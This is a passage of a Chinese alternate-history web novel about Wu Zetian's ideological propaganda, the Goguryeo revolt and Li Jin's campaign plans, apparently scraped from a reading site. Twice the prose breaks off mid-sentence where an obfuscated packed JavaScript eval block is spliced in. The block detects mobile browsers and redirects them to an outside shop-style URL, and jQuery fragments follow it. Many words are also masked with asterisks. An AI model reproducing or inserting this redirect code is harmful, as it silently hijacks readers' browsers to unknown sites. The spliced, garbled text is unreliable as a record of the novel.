麟德四年的深秋,洛阳的空气中弥漫着桂子的余香、新稻入仓的谷实气味,以及“大周东寺”工地扬起的、经久不散的尘土与漆木混合的气息。这座空前规模的皇家寺院,在无数工匠日夜赶工、全国资材源源不断汇聚之下,已初具轮廓。高耸的塔基,宏阔的殿址,仿佛一尊巨大的、正在生长的金色佛陀,盘踞在洛阳城东南的沃野上,向天下宣示着帝国女主对佛法的无限尊崇,以及佛法对她至高权威的无上加持。
与此同时,另一座无形的、却更为坚固和影响深远的高台,也在悄然垒砌,日渐成形。这座高台,便是武则天为巩固自身权力、塑造“圣母神皇”形象、引领帝国思想走向而精心构建的意识形态体系。历经“洛水瑞石”的“天启”、《大唐报》的**引导、对谶纬流言的铁腕肃清、对儒家经典的“重释”,再到如今对佛教的大力推崇与利用,这座高台的轮廓,在麟德四年的秋日,已清晰地矗立在无数朝臣、士人乃至普通百姓的精神视野之中。
这座“思想高台”并非凭空而起,其基座深深扎根于现实的**需求和权力的土壤之中,而其外观,则由儒家、佛教、祥瑞神话、现实功绩等多种材料精心构筑,形成一个看似浑然一体、实则层次分明的复合结构。
最底层,是经过“重释”的儒家经典。集贤殿内,汗牛充栋的“新义”注疏工作已近尾声。以许敬宗、北门学士为首,联合(或裹挟)一批经学大儒,成功地在不公开推翻“三纲五常”的前提下,从浩繁的儒家典籍中,发掘、引申、甚至创造性地阐释出一套有利于“贤后辅政”、“圣母临朝”的理论。从《诗经》的“后妃之德”,到《尚书》的“敬天保民”(与“二圣”仁政挂钩),到《礼记》的“家齐国治”(强调贤内助作用),再到《周易》的“阴阳和合”(为女主在特殊时期执政提供哲学依据),一套逻辑自洽、引经据典的“女主执政合**”被系统地构建出来。这些新注疏的经典,正被加紧刊印,即将颁行天下官学,并作为未来科举取士的重要参考。这意味着,从思想源头和仕进正途上,武则天为自己披上了一件符合“圣人之道”的外衣,极大地消解了传统士大夫心中“牝鸡司晨”的伦理焦虑,至少提供了可辩论、可接受的理论依据。
在这被“重释”的儒家基座上,耸立着更为光辉夺目的佛教神学建构。以“宝雨经”预言为核心,结合《华严经》的菩萨行愿、《大云经》(此时虽未大规模篡改,但其思想已受关注)的转轮王思想,一套将武则天神化为“菩萨化身”、“弥勒应世”、“女王治世”的佛教**神学,正在高僧大德(以圆测、法明为代表)的阐释和朝廷的大力推广下,迅速传播。武则天频繁的礼佛活动、丰厚的寺院赏赐、敕建“大周东寺”的壮举,无不在强化这一神圣光环。佛教以其精深的哲学体系、宏大的彼岸世界观、在民间的广泛基础,为武则天的权力提供了儒家经典难以企及的超越性和神圣性。如果说儒家“重释”是为了争取士人,那么佛教神化,则更多地指向了广大庶民、信众,以及那些对神秘天命深信不疑的阶层。
在这两层之间,是“祥瑞”与“现实功绩”交织而成的叙事网络。“洛水瑞石”的“圣母临人,永昌帝业”是天命的直观展示;各地呈报的种种“祥瑞”(嘉禾、醴泉、神兽现踪等)是“女主圣明,天必佑之”的持续印证;而封禅泰山的成功、国力的鼎盛、四境的安宁(至少在宣传中),则是“圣母临朝”带来盛世繁荣的现实证据。这些“祥瑞”与“功绩”被《大唐报》连篇累牍地报道,与佛寺的钟声、高僧的讲经、新注经典的流传相互呼应,构成一个全方位、立体式的宣传矩阵,不断强化着武则天执政的合法性、正当性和神圣性。
在这座“思想高台”的顶端,飘扬的旗帜是“忠君爱国”与“顺应天命”。所有思想的阐释、**的引导、政策的推行,最终都归结于此:忠诚于当今圣上(包括垂帘听政、功勋卓著的天后),就是忠于大唐,就是顺应上天佛旨,就是维护盛世太平。任何质疑、反对、动摇这一点的言行,不仅是**上的不正确,更是伦理上的背叛、宗教上的亵渎、对“天命”和“盛世”的破坏。
麟德四年九月重阳,秋高气爽。“大周东寺”主体建筑之一,一座高达三十余丈的七级佛塔奠基仪式,在洛阳东南隆重举行。武则天携皇帝李治(李治虽到场,但精神不济,主要由武则天主持)亲临现场,主持奠基礼。满朝文武、诸王贵戚、高僧大德、蕃邦使节云集,盛况空前。
仪式上,圆测法师亲自主持法事,梵音震天,香云缭绕。他再次宣讲“宝雨经”中关于“女王”的预言,并将其与武则天“辅佐圣主,泽被苍生”的功德紧密结合,称天后乃“菩萨乘愿再来,现女王身,行菩萨道,护持正法,利乐有情”。言辞之直接,推崇之至高,令在场许多老臣暗暗咋舌,但也无人敢公开质疑。
紧接着,礼部尚书许敬宗代表群臣宣读贺表。贺表中,他巧妙地将儒家“重释”的成果与佛教神学融合,称颂武则天“德配坤元,功高媪后,既合圣人之教,允符释典之文”,是“内辅明君,致贞观开元之治;外弘佛法,启华严宝雨之祥”,是“儒释共尊,天人同钦”的“圣母神皇”。这篇贺表,堪称武则天意识形态高台的官方宣言,将儒家伦理、佛教神话、现实功绩、天命祥瑞熔于一炉。
最后,是《大唐报》主编,一位被李瑾提拔、文笔犀利的北门学士,当场朗诵最新一期报纸的社论。社论以磅礴的笔触,描述了“大周东寺”修建的盛况,回顾了“二圣临朝”以来的丰功伟绩,展望了佛光普照下的大唐盛世,并严厉驳斥了任何“不合时宜”、“罔顾天心**”的“流言蜚语”,号召天下臣民“同心同德,共仰佛光,永沐圣化”。
武则天身披庄严华丽的皇后礼服,外罩一袭特制的、绣有金线莲花的绛紫袈裟(象征世俗与宗教权力的结合),立于高台之上,接受着万众的朝拜与欢呼。阳光洒在她不再年轻却依旧锐利威严的面容上,也洒在身后那座象征着无上权力与神圣光环的、正在崛起的巨大佛寺地基上。此刻,儒家经典的“重释”、佛教神学的“加持”、祥瑞与功绩的“叙事”、严密的**控制,共同将她的权威推向了前所未有的高度。这座“思想高台”,已然巍然矗立,成为她权力大厦最核心、也最耀眼的部分。
然而,就在这万众瞩目、梵音缭绕的奠基礼外围,李瑾与心腹谋士沈谦,站在一群紫袍官员之中,静静注视着这一切。沈谦压低声音,不无感慨道:“经义可重释,佛法可崇奉,祥瑞可制造,**可引导……天后此台,可谓筑矣。只是……”他欲言又止。
李瑾目光沉静,望着远处高台上那个光芒四射的身影,以及她身后那片象征着无上权力与神圣信仰的庞大工地,缓缓道:“只是,高台筑于流沙之上,其基不稳;饰以金玉,其内或空。儒门重释,虽解一时之困,然曲解太过,恐失本真,久必为识者所讥。佛法崇盛,可固民心,然寺院日广,僧尼日众,不事生产,蠹耗国帑,侵夺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064533|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民利,隐患已现。祥瑞频仍,初则惊人,久则生疑。**一律,可禁口舌,难服人心。”
他顿了顿,声音更低,却更清晰:“我倡‘百家鸣’,重实学,非仅为与佛光争辉,实是见这高台虽巍峨,却少了几分人间烟火,缺了几块经世致用的基石。治国平天下,终需良吏实干,需仓廪充实,需甲兵坚利,需河清海晏。佛法慈悲,可慰人心,然不能凭空变出粟米绢帛。儒家大义,可定名分,然不能直接疏通河道、抵御外侮。”
沈谦点头,深以为然:“国公所虑极是。如今朝野上下,言必称佛,行必求瑞,清谈空论之风复起。长此以往,恐实干之风日颓,虚浮之气日盛。只是……”他看了一眼高台方向,“天后正倚重此道,势不可逆。”
“非欲逆之。”李瑾摇头,目光投向更远处忙碌的市井、田野,“水可载舟,亦可覆舟。思想之台,可聚人心,亦可蔽人目。吾所愿者,是在这高台之下,在佛寺梵唱之外,在经义辩难之余,为这帝国,多留几条实实在在的路,多养几分扎扎实实的元气。高台需筑,地基更需夯。佛光普照之下,人间灯火,亦不可灭。”
奠基礼的欢呼声如潮水般涌来,又渐渐退去。李瑾转身,与百官一同,向着高台方向,依照礼制躬身行礼。他的姿态无可挑剔,但他的心思,早已飞向了陇右的屯田奏报、江南的漕运账目、东北边疆的军情邸报,以及他正在推动的,在国子监增设“明算”、“明法”等专科的艰难尝试。
仪式结束后不久,一纸诏书自宫中发出,震动朝野。诏书宣布,将于明年(麟德五年)春,举行“释奠”大典,祭祀先师孔子,但仪式将“参酌古礼,融合今制,并彰二圣重儒崇文、化治天下之意”。更引人注目的是,诏书明令,此次释奠,将首次使用由集贤殿新近编纂、校订、注释的儒家经典“定本”作为礼仪依据和讲学范本。这意味着,经过“重释”的儒家经典,将正式被朝廷采纳,成为官方的意识形态标准教材。
几乎同时,另一道敕令下达,命天下各州,凡敕建、有名大寺,需选派高僧,于每年正月、七月,举办盛**会,宣讲《宝雨经》及《御制宝雨经疏》,为“皇帝、天后、苍生祈福”。所需费用,由朝廷与地方共同承担。
一儒一释,两道诏令,如同为那座无形的思想高台,浇筑了最后、也是最关键的两根支柱。儒家经典的重释文本,获得了官方最高认可;佛教的特定经典和阐释,被纳入国家祭祀祈福体系。武则天的意识形态构建,至此,完成了从理论阐释到制度保障的关键一步。
“高台”已成,巍然耸立,光耀四方。它试图照亮每一个角落,定义每一寸思想的空间。然而,高台之下,阴影也随之生长。那些被“重释”所压抑的儒学原教旨者,那些被排挤、失落的道教信徒,那些在佛寺阴影下生计受侵的农户,那些在“祥瑞”与“佛光”宣传中感到窒息与怀疑的清醒者,以及像李瑾这样,默默夯筑“实学”地基的务实派……他们的声音暂时沉寂,他们的力量潜藏地下,但并未消失。
思想的高台已然筑起,它宏伟、耀眼,似乎坚不可摧。但历史反复证明,任何试图定于一尊、完全笼罩所有思想空间的高台,无论其外表多么辉煌,其根基若****的大地,终有动摇甚至倾覆的一日。麟德四年的秋阳,温暖地照耀着洛阳,照耀着刚落成的思想高台,也照耀着高台之下,那依然默默流淌的、更为复杂而坚韧的世俗生活之河。李瑾知道,他的工作,远未结束,甚至,才刚刚开始。
第221章 高句丽复叛
麟德四年深秋,当洛阳城仍沉浸于“大周东寺”奠基的宗教狂热与思想高台筑就的意识形态满足之中时,一道染着辽东寒霜与血腥气的六百里加急军报,如同惊雷般劈开了神都的祥和,重重砸在紫微宫前的丹墀之上,也砸在了所有大唐君臣的心头。
“高句丽权臣泉男生弑其王高藏,自立为‘莫离支’(高句丽最高官职,掌军政大权),尽诛亲唐大臣,囚禁大唐使者,传檄辽东,称……称唐朝‘女主干政,阴盛阳衰,天命已改’,号召各部‘共举义兵,驱逐唐寇,恢复旧疆’!叛军已攻陷辽东数城,残杀我戍边将士、官吏、商民,兵锋直指辽水!安东都护府告急!营州告急!”
急报由安东都护府留守副都护、鹰扬郎将高侃遣死士冒死送出,穿越叛军重重封锁,历时半月,终于抵达洛阳。军报上字迹潦草,沾染着汗渍与暗褐色的血迹,将辽东骤然生变、烽火连天的惨烈景象,血淋淋地呈现在大唐君臣面前。
朝堂之上,一片死寂,旋即哗然。
高句丽,这个盘踞辽东、朝鲜半岛北部数百年,屡败隋军,令唐太宗李世民饮恨的强国,自李治显庆年间(公元660-661年)苏定方、李勣等名将历经血战,终将其国王、大臣俘获至长安,在其地设安东都护府以来,已臣服近十年。虽时有小规模叛乱,但大体平静,唐朝于此设府州县,派遣官吏,驻军屯田,推行教化,渐有将其彻底消化之势。谁曾想,看似已驯服的猛虎,竟在内部权力更迭中,再次露出狰狞獠牙,且此番来势之凶,言辞之狂,远超以往!
弑君!囚使!檄文辱及“二圣”,尤其是直指天后“女主干政,阴盛阳衰”!这已不是简单的边患或部族叛乱,而是对大唐宗**威的彻底否定,对帝国意识形态根基的公然挑衅,更是对武则天个**威的极度蔑视与恶毒攻击!一时间,朝堂上群情激愤,尤其是那些在意识形态斗争中力挺武则天、借“祥瑞”“佛经”为其正名的官员,如许敬宗、李义府等,更是怒发冲冠,认为泉男生此举,不仅叛逆,更是亵渎,必须予以最严厉的雷霆之击!
“陛下!天后!”兵部尚书任雅相(注:此时应为任雅相或类似职务,历史此时为裴行俭?小说中需调整)率先出列,须发皆张,声音因愤怒而颤抖:“高句丽余孽,狼子野心,死灰复燃!竟敢弑君自立,囚我天使,出此狂悖逆言!臣请陛下、天后,速发天兵,犁庭扫穴,将此獠并其族类,尽数诛灭,以彰天讨,以正视听!”
“臣附议!”左武卫大将军梁建方(虚构或借用历史人物)紧随其后,他乃宿将,声如洪钟:“泉男生竖子,不过仗着地利与些许残兵,竟敢如此猖狂!当年李勣大将军能灭其国,今日我大唐雄师,更能踏平其穴!末将愿为先锋,提此贼头颅来献!”
“陛下,天后,此贼檄文,恶毒攻击天后,辱及圣朝,实乃人神共愤!若不严惩,四海藩属何以畏服?天下臣民何以心安?必当发倾国之兵,一举荡平,方显我大唐赫赫天威,昭昭日月!”御史中丞袁公瑜(武则天亲信)言辞激烈,直接将叛乱与天后权威挂钩。
主战之声,瞬间席卷朝堂。武将们摩拳擦掌,渴望建功立业,洗刷多年来边镇相对平静、无大仗可打的“寂寞”;文臣们(尤其是后党)则急于借此机会,以一场辉煌的对外胜利,来进一步巩固武则天的权威,反击一切潜在的非议,将“女主干政,天命已改”的恶毒攻击彻底粉碎。况且,高句丽乃太宗皇帝未竟之憾,若能一举永绝此患,无疑是堪比泰山封禅的巨大功绩,足以光耀史册。
然而,在一片激昂的主战声中,也有不同的声音,虽然微弱,却带着深深的忧虑。
户部侍郎卢承庆出列,他面有忧色,声音沉稳:“陛下,天后,诸公所言固是。高句丽复叛,罪不容诛。然则,用兵乃国之大事,死生之地,存亡之道,不可不察。自我朝平定高句丽,设安东都护府以来,虽驻有军镇,然主力多已内调,辽东之地,户口未丰,屯田所得,难供大军持久。若发大兵远征,粮草辎重,转运千里,辽东道路险远,漕运艰难,恐耗费巨大。去岁至今,关中、河南皆有水旱,河北亦有蝗患,虽未成大灾,然仓廪未实。加之‘大周东寺’等工程,用度颇多……臣非怯战,实虑国力民力,还请陛下、天后圣裁,或可先遣良将,率精兵数万,会同安东、营州留守兵马,挫其锋锐,固守要地,徐图后计,未必要即刻倾国远征。”
卢承庆的话,如同一盆冷水,浇在部分被愤怒和功业心冲昏头脑的官员头上。的确,打仗打的是钱粮,是国力。自泰山封禅以来,朝廷各项开支浩大,虽然国库因多年积累和改革(如两税法试行、市舶之利)尚称充盈,但连续大规模用兵,绝非易事。辽东苦寒,路途艰险,补给线漫长,当年隋炀帝三征高句丽而国力耗尽、天下皆反的教训,犹在眼前。
“卢侍郎此言差矣!”许敬宗立刻反驳,他如今是武则天最倚重的文臣之一,深知此战的**意义:“高句丽蕞尔小丑,竟敢如此猖狂,若不大张挞伐,迅疾剿灭,则新罗、百济(注:此时百济已灭,但遗民或有反复)、契丹、奚、靺鞨等部,乃至吐蕃、突厥,将如何看待我大唐?必将以为我朝可欺,边患蜂起!且其檄文辱及天后,动摇国本,此乃心腹之患,非疥癣之疾!至于钱粮,我大唐富有四海,陛下、天后圣明,封禅告成,天下归心,岂乏远征之资?当年太宗皇帝、先帝(李治)时能办之事,今以陛下、天后之英明,国势之昌隆,岂有不能之理?当断不断,反受其乱!”
双方各执一词,争论不休。主战者强调**必要、天威尊严,主慎者忧虑国力损耗、用兵风险。龙椅上的李治,近来身体状况似乎略有起色,但面对如此重大的军国决策,尤其是涉及大规模远征,他仍感力不从心,目光不由自主地投向珠帘之后。
武则天端坐帘后,面容沉静如水,但那双凤目之中,却燃烧着冰冷的火焰。泉男生檄文中“女主干政,阴盛阳衰”八个字,像**一样刺中了她的要害,也彻底激怒了她。这不仅仅是边境叛乱,这是对她权力合法性最恶毒、最直接的挑战!是在她刚刚筑起的思想高台上泼洒的污秽!她可以容忍高句丽时叛时降,但绝不能容忍有人以这种方式,否定她的执政,动摇她的权威!此贼不灭,她好不容易建立起来的“圣母神皇”形象将出现难以弥补的裂痕,那些潜伏的反对势力,或许会借此蠢蠢欲动。
然而,卢承庆的忧虑,她也听在耳中。她并非不懂军事、不知民力的深宫妇人,多年辅政,对国库收支、地方情弊了如指掌。倾国远征,风险确实巨大。但,此战又非打不可,不仅要打,还要打得漂亮,打得彻底,要一举永绝后患,用一场辉煌的灭国之战,来回应所有的质疑,夯实她的权力基座,将她的威望推向前所未有的巅峰。
她的目光扫过群臣,最后落在一直凝神倾听、尚未发言的李瑾身上。这位梁国公,既是她的**盟友(至少表面上是),也是帝国最倚重的统帅之一,更以务实、善谋著称。他的意见,至关重要。
“梁国公,”武则天的声音从帘后传来,清晰而沉稳,瞬间压下了朝堂上的争论,“高句丽复叛,泉男生猖獗至此,以你之见,该当如何?”
所有人的目光瞬间聚焦在李瑾身上。这位历经战阵、功勋卓著,又在朝中主持实务多年的重臣,他的态度,或将决定帝国的方向。
李瑾缓步出列,他神色凝重,但并无慌乱。事实上,接到军报后,他已连夜与兵部、户部相关僚属及几位心腹将领进行了紧急磋商,分析了辽东形势、叛军实力、唐军状况及后勤补给的各种可能。
他先向御座躬身一礼,然后转向群臣,声音不高,却清晰有力,传入每个人耳中:“陛下,天后,诸公。高句丽泉男生弑君叛唐,囚我使者,檄文狂悖,此乃自取灭亡,罪在不赦。我大唐天威,岂容此等跳梁小丑亵渎?此战,必打!”
开场定调,主战!这让主战派精神一振。但李瑾话锋随即一转:“然则,如何打,何时打,动用多少兵力,何种方略,需慎之又慎。卢侍郎所虑钱粮转运之难,确是实情。辽东地远天寒,道路险阻,大军远征,补给线绵长,若师老兵疲,粮草不继,则危矣。昔年隋炀帝之鉴,不可不察。”
他顿了顿,继续道:“然则,许公所言亦有其理。高句丽反复无常,今次复叛,气焰嚣张,若不能以泰山压顶之势迅速扑灭,示之以威,则东北诸藩,乃至四方夷狄,必生轻慢之心,边患恐将连绵。且其檄文恶毒,直指天后,动摇国本,非同小可。故,此战不仅要打,更要胜,要大胜,要完胜!要一举击溃其主力,擒其魁首,犁庭扫穴,永绝后患!非如此,不足以震慑不臣,不足以彰显天威,不足以安天下臣民之心,亦不足以告慰太宗皇帝在天之灵!”
这番话说得有理有据,既肯定了作战的必要性和**意义,也承认了实际困难,并提出了极高的战略目标——完胜,永绝后患。朝堂上一时静默,等待他的具体方略。
“故此,”李瑾提高了声音,目光炯炯,“臣意,此战当行‘有限规模,精兵速决,海陆并进,直捣黄龙’之策!”
“其一,不倾全国之兵。征调兵力,以河北、河东、河南诸道府兵精锐为主,辅以陇右、安西善战边军一部,再从禁军中抽调骁勇,总数控制在十五万至二十万之间。另,可征发契丹、奚、靺鞨等部族骑兵为向导、辅兵。如此,既可保证兵力优势,又不至于过度劳民伤财,影响国内。”
“其二,速战速决。高句丽经前次**,元气大伤,泉男生虽篡位,内部未必铁板一块,新罗在其南,素与高句丽有隙,可遣使联络,令其出兵牵制。我军当以雷霆之势,水陆并进。陆路,以精骑为先锋,步卒跟进,出营州,渡辽水,直逼辽东城(今辽阳)、新城等要害。水路,命青、莱、登等州水师,并征调江南水手,打造、集结海船,载步卒、粮械,渡渤海,登陆朝鲜半岛,从南向北,与陆路大军夹击平壤!使其首尾不能相顾!”
“其三,以战养战,辅以屯田。大军出征,粮草转运确为第一难事。除从内地转运外,可命安东都护府现存兵马及当地归顺部族,坚守要地,就地筹粮。我军每下一城,可缴获
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064534|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敌军存粮,并效仿卫公(李靖)、英公(李勣)旧法,于要害处设军屯,以战养战,减轻后方压力。”
“其四,分化瓦解。泉男生弑君自立,高句丽内部必有忠于高藏王室或不服其统治者。可广遣细作,散布檄文,言明只诛首恶泉男生及其党羽,余者不问,乃至许以官爵,从内部分化其势力。攻城为下,攻心为上。”
李瑾的方略,条理清晰,既考虑了**需要,也顾及了实际困难,更提出了具体的、可行性很高的战术部署,尤其是“海陆并进”的构想,令人眼前一亮。朝堂之上,不少懂军事的将领和官员,都微微颔首。
武则天在帘后静静听着,眼中光芒闪动。李瑾的方略,深合她意。既要打,又要打得巧妙,以最小的代价,获取最大的**和战略收益。尤其是“海陆并进,直捣黄龙”,若能成功,无疑将是一场足以载入史册的辉煌胜利。
“梁国公老成谋国,思虑周详。”武则天缓缓开口,肯定了李瑾的方案,“高句丽反复小丑,自寻死路。陛下与吾意已决,当发天兵讨之,以正典刑,以雪国耻!便依梁国公所议,筹备征讨事宜。此战,务求全功,永绝辽东之患!”
她停顿了一下,凤目扫过全场,语气斩钉截铁:“此战,关乎国体,关乎天威,更关乎天下人心!诸卿务必同心协力,各司其职,若有贻误军机、办事不力者,定斩不赦!”
“至于主帅……”武则天的目光再次落在李瑾身上,但语气中多了一丝不易察觉的审视。李瑾战功赫赫,用兵稳健,自然是主帅的不二人选。但如今他位极人臣,在军中威望极高,若再立灭国之功……她心中念头电转,但眼下似乎并无更合适的人选。且此战**意义重大,必须由绝对可靠、且能代表朝廷最高意志的人挂帅。
“梁国公李瑾,”武则天声音清越,“汝多年宿将,深谙兵事,更洞悉辽东情势。今高句丽复叛,猖獗至此,朕与陛下,欲以汝为辽东道行军大总管,总统陆路诸军。另,以青州刺史、右武卫将军孙仁师(虚构或借用历史人物,历史上征高句丽后期有孙仁师)为平壤道行军大总管,总统水师,渡海作战。二路并进,务必克期会师平壤,擒获元凶!”
李瑾深吸一口气,出列躬身,声音沉稳而坚定:“臣,李瑾,领旨!必竭股肱之力,效犬马之劳,荡平丑虏,献俘阙下,以报陛下、天后知遇之恩,以雪国耻!”
“好!”武则天声音提高,“即日起,兵部、户部、工部、太仆寺等有司,全力配合梁国公,调兵、筹粮、备械、造船,不得有误!诏令天下,揭露泉男生弑君叛唐、辱及天朝之罪,命诸道兵马,听候调遣!”
“臣等领旨!”满朝文武,齐声应诺。无论先前是主战还是主慎,此刻,战争的机器已经开动,无人可以逆转。
散朝后,李瑾被单独召至贞观殿(洛阳宫主殿之一)偏殿。武则天已除去帘幕,端坐殿中,李治也在座,但精神仍显不济。
“怀英(李瑾字),此战关系重大,你心中可有十足把握?”武则天目光如炬,直视李瑾。
李瑾肃然道:“天后,用兵之事,从无万全。然则,高句丽经前次重创,国力已衰,泉男生篡逆,内部分崩离析,我军挟雷霆之威,海陆并进,又有新罗为援,胜算当在七成以上。关键在于粮草转运与诸军配合。臣必弹精竭虑,不负重托。”
武则天点点头:“粮草转运,朕会督促户部、漕司,尽全力保障。宫内用度,亦可缩减,优先供给军前。至于诸军配合……”她眼中寒光一闪,“朕授你临机专断之权,凡有不听号令、贻误军机者,无论皇亲国戚、世家子弟,皆可先斩后奏!”
“谢天后信任!”李瑾心中微凛,知道这是赋予了他极大的权力,也意味着极大的责任。
“此战,不仅要胜,”武则天缓缓站起,走到窗前,望着东北方向,声音带着冰冷的杀意,“更要赢得干净,赢得彻底。朕要泉男生的人头,要看到高句丽的王旗被永远踩在脚下。朕,要让天下人都知道,妄议天后者,辱及大唐者,是何下场!也要让太宗皇帝在天之灵,得以慰藉!”
“臣,明白!”李瑾深深一躬。他知道,这不只是一场收复失地、平定叛乱的战争,更是一场**立威之战,一场意识形态的延伸之战。武则天要借高句丽之血,来浇铸她权力金字塔最坚硬的一块基石。
走出宫殿时,暮色已笼罩洛阳。宫城内外,已不复白日的喧嚷,但一种紧张而肃杀的气氛,正随着一道道调兵、筹粮的诏令发出,迅速弥漫开来。佛寺的钟声依旧在晚风中回荡,但此刻听来,却仿佛夹杂了金戈铁马之音。
李瑾抬起头,望向东北方沉沉的夜空。那里,是烽火连天的辽东。一场决定东北亚格局,也深刻影响大唐帝国未来走向的灭国之战,即将拉开序幕。而他,将再次披上战袍,执掌帅印,不是为了个人的功业,更是为了这个帝国的安定,也为了履行对先帝的承诺,完成那未竟的征服。
高句丽,这片让无数中原英雄折戟沉沙的土地,这一次,必将被彻底纳入大唐的版图。李瑾握紧了袖中的拳头,目光坚定而冷冽。
第222章 誓师平辽城
麟德四年冬,洛阳的寒意比往年来得更早、更凛冽。但比天气更冷的,是自东北边陲不断传来的警讯,以及随之在帝国心脏酝酿、沸腾的战争意志。自高句丽权臣泉男生弑君叛唐、传檄辱及“二圣”的消息传开,整个大唐朝廷如同一架被投入巨量燃料的战争机器,轰然启动,以令人惊叹的效率运转起来。
诏令一道道从紫微宫发出,经由政事堂、尚书省,化作具体的指令,飞向帝国的四面八方:
——诏令河北、河东、河南诸道都督府,征发府兵精锐,限两月内集结于幽州(今北京)待命。陇右、安西都护府,抽调善战边军各一万,急行军东进。左右羽林、左右骁卫等北衙禁军,遴选骁勇两万,整装备战。
——诏令户部、司农寺、太府寺,统筹粮秣。河南、河北诸道常平仓、转运仓开仓运粮,漕船自汴渠、永济渠昼夜不息,将米粟、盐、干肉、草料源源不断北运。同时,诏令淮南、江南诸州,加征本年部分租调,折为绢帛、铜钱,以充军资。工部、将作监、军器监全部开足马力,打造、修缮甲胄、**、刀矛、攻城器械,尤其是李瑾所重视的、经过改良的各类“砲”(投石机)和“火器”(主要是猛火油柜、**罐等,尚未有后世火炮)。
——诏令青、莱、登、海、楚、扬等沿海诸州,立即征集、打造海船,招募熟练水手,集结水师,准备渡海作战。以右武卫将军、检校青州刺史孙仁师为平壤道行军大总管,总统水军事务。孙仁师是前隋名将之后,精通水战,曾参与平定百济之战,熟悉朝鲜半岛海情。
——诏令安东都护府留守高侃、营州都督等边将,收缩兵力,固守要害城寨,不得浪战,等待大军。同时,广派细作、信使,潜入高句丽,联络仍心向唐朝的部族、官员,散布讨逆檄文,分化瓦解叛军。
——诏令新罗王金法敏,命其发兵北上,进攻高句丽南境,牵制叛军兵力,并保障唐军水师登陆侧翼。使者携厚赐与严令,星夜兼程前往新罗。
一道道指令,如同强劲的脉搏,从帝国的中枢泵出,将战争所需的血液——兵力、粮草、器械、情报——输送到即将爆发的肢体末端。整个帝国的北方,从关中到河北,从陇右到海边,都笼罩在一股紧张而亢奋的备战气氛中。道路上,烟尘滚滚,是开拔的军队和转运的辎重;港口内,帆樯如林,工匠挥汗如雨;作坊中,炉火熊熊,锤声叮当。
与此同时,洛阳城内的**机器也全速开动。《大唐报》以头版头条、连篇累牍的方式,详细揭露泉男生“弑君篡逆”、“囚禁天使”、“檄文辱国”的累累罪行,回顾高句丽“自前隋以来,屡叛屡降,为祸辽东”的斑斑劣迹,颂扬太宗皇帝、先帝(高宗)征讨高句丽的赫赫武功,强调此次平叛乃是“吊民伐罪”、“维护天朝纲纪”、“完成太宗未竟之业”的正义之战。文章极尽渲染之能事,将泉男生描绘成“人神共愤、天地不容”的跳梁小丑,将唐军的出征定义为“王者之师,仁义之师”。
更微妙的是,针对泉男生檄文中“女主干政,阴盛阳衰”的攻击,《大唐报》巧妙地将其与整个大唐的“国体”、“天命”捆绑在一起,声称此乃“逆贼诽谤圣朝,亵渎天威,其心可诛”,并再次强调“二圣临朝,政通人和,四夷宾服,此乃天意所归,非人力可逆”。文章最后呼吁天下臣民“同仇敌忾,支持王师,早奏凯歌”。
武则天本人也多次在公开场合,以悲愤而坚定的语气,提及高句丽之叛,尤其是对其檄文的“恶毒攻击”表示“痛心疾首”和“绝不宽宥”。在一次内廷召见心腹重臣时,她更是直言不讳:“此战,非仅讨逆,更为正名。逆贼以污言秽语,诋毁朝政,动摇人心,若不施以雷霆,天下何以知威?四夷何以知惧?此战,务要犁庭扫穴,使其片瓦不存,方能警示后来者!”
在崇佛热潮的背景下,武则天甚至授意高僧,在讲经法会中,将唐军的出征与“**”、“降魔”联系起来。圆测法师在一次宫中法会上,就公开宣称:“高句丽逆贼,背弃王道,毁谤圣人,犹如佛经中之魔罗,阻挠正道。陛下、天后发兵征讨,乃是行菩萨之怒,以霹雳手段,显慈悲心肠,护持正法,涤荡妖氛,功德无量。”这种将**军事行动与宗教神圣性结合的说法,进一步为战争涂抹上了“替天行道”、“**除魔”的正义色彩。
麟德五年(公元668年)正月,元宵刚过,寒意未消。各道兵马已基本集结完毕,粮草军械大体就位。洛阳城外,北邙山下,临时搭建的校场之上,旌旗蔽日,枪戟如林,十八万唐军精锐(含部分蕃兵)列成森严阵势,鸦雀无声,只有战马偶尔的喷鼻和旗帜在寒风中猎猎作响。甲胄的寒光与士兵们肃穆的面容,构成一片沉默而威严的钢铁海洋。
校场北端,高高的点将台上,皇帝李治与天后武则天并肩而坐。李治身着天子戎服,但面色依旧苍白,精神不济,主要仪式由武则天主持。武则天今日未着后服,而是穿了一身特制的、庄重而不失英气的朱红金线衮龙纹武弁服(注:唐代后妃无此正式戎服,此为艺术加工),外罩玄色大氅,头戴嵌宝金冠,威仪凛然,令人不敢直视。台下,文武百官、诸王贵戚、蕃邦使节,分列两旁。
吉时已到,礼炮(号炮)三响。兵部尚书任雅相出列,高声宣读讨逆诏书。诏书历数泉男生十大罪状,声言“朕(李治)与天后,恫瘝在抱,岂容丑类跳梁?今命梁国公、司徒、同中书门下三品李瑾为辽东道行军大总管,总统诸军,吊民伐罪……”诏书最后,以“克期剿灭,献俘太庙,永清辽海”为誓,言辞慷慨激昂。
诏书宣读毕,全场肃然。李瑾身着明光铠,外罩紫色绣**战袍,腰悬御赐宝剑,在两名金甲武士的引导下,稳步登上高台。他从一名内侍捧着的金盘中,接过象征最高军权的虎符、节钺,转身,面向台下如林的将士。
